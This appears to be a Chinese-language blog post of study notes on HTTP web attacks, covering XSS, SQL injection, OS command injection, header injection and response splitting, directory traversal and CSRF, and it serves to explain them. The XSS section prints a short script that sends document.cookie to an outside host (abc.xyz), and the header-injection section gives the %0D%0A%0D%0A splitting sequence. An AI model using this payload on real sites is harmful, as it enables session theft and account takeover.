logo头像

云影sky

HTTP指南-Web攻击技术

1 前言

HTTP 就是一个通用的淡出协议机制。因此它具备较多优势,但在安全性方面则呈现劣势。

2 常见攻击类型

2.1 XSS (跨站脚本攻击)

XSS 是指通过网站注册用户的浏览器内运行非法代码进行的一种攻击。

动态创建的 HTML 部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。

XSS 有可能造成以下影响:

  • 利用虚假输入表单骗取用户个人信息;
  • 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求;
  • 显示伪造的文章或图片;

XSS 案例

xss

xss

  1. 通过地址栏中 URI 的查询字段指定 ID,相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。
    当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站,导致个人登录信息被窃取。
  2. 对用户 Cookie 的窃取
1
2
3
4
5
6
7
// <script src=http://abc.xyz/xss.js></script>
// 该文件包含以下代码

var content = escape(document.cookie);
document.write('<img src=http://abc.xyz/?');
document.write(content);
document.write('>');

在存在可进行 XSS 攻击的 Web 应用上执行上面的代码,即会将所处域名下的 Cookie 信息发送到攻击者服务器。

2.2 SQL 注入攻击

SQL 注入是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。

2.3 OS 命令注入攻击

OS 命令注入攻击是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。

2.4 HTTP 首部注入攻击

HTTP 首部注入攻击是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。

%0D%0A 代表 HTTP报文中的换行符。

向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack)。

响应截断攻击是用在 HTTP首部注入的一种攻击。需要将两个 %0D%0A (即 %0D%0A%0D%0A)并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击的目的。

2.5 目录遍历攻击

目录遍历攻击是指对本无意公开的文件目录,通过非法阶段其目录路径,达成访问目的的一种攻击。这种攻击有时也成为路径遍历攻击。

固然存在输出值转义的问题,但更应该关闭对任意文件名的访问权限。

2.6 CSRF 攻击(跨站请求伪造)

CSRF (Cross-Site Request Forgeries) 攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。

CSRF 可能会造成以下影响:

  1. 利用已通过认证的用户权限更新设定信息等
  2. 利用已通过认证的用户权限购买商品
  3. 利用已通过认证的用户权限在留言板上发表言论

案例

csrf

csrf

2.7 XSS 和 CSRF 的区别

引用知乎 @黄玮 的话:

XSS:用户过分信任网站,放任来自浏览器地址栏代表的那个网站代码在自己本地任意执行。如果没有浏览器的安全机制限制,xss代码可以在用户浏览器为所欲为;
CSRF:网站过分信任用户,放任来自所谓通过访问控制机制的代表合法用户的请求执行网站的某个特定功能。

即:

  • XSS 主要指问题代码被隐藏在客户端,用户在不知情的情况下执行了
  • CSRF 主要指服务器接收到的通过校验的请求都是合法的操作